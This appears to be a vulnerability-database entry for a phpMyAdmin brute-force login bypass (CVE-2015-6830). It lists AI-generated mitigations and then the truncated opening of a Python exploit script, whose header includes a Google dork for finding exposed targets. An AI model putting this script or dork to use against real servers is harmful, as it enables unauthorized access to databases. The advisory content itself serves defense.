PHPMyAdmin 3.0 · Bruteforce Login Bypass
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What to do
AI-suggested
1. Immediate upgrade of PHPMyAdmin installations to the latest supported version to eliminate the vulnerability. 2. If upgrading is not immediately feasible, restrict access to PHPMyAdmin interfaces using network-level controls such as VPNs, IP whitelisting, or firewall rules to limit exposure. 3. Implement strong authentication mechanisms, including multi-factor authentication (MFA), to reduce the risk of brute force attacks. 4. Monitor access logs for unusual login attempts or patterns indicative of brute force activity and respond promptly. 5. Employ web application firewalls (WAFs) to detect and block automated brute force attempts targeting PHPMyAdmin. 6. Conduct regular security audits and vulnerability assessments focusing on legacy systems and exposed management interfaces. 7. Educate system administrators about the risks of running outdated software and enforce strict patch management policies. 8. Isolate database management interfaces from public networks wherever possible to reduce attack surface. 9. Backup critical databases regularly and verify the integrity of backups to enable recovery in case of compromise.
Description
PHPMyAdmin 3.0 - Bruteforce Login Bypass
Indicators of compromise
Exploit source code
"""
Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass
Author: Nikola Markovic (badgerinc23@gmail.com)
Date: 2023
Google-Dork: intext: phpMyAdmin
Vendor: https://www.phpmyadmin.net/
Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1
Tested on: win/linux/unix
Python-Version: 3.0
CVE : CVE-2015-6830
"""
import urllib.request
import urllib.parse
import urllib
import threading
import http.cookiejar
import re
import sys
def CheckLogin(target):
passwords = ["123"]
try:
for passw…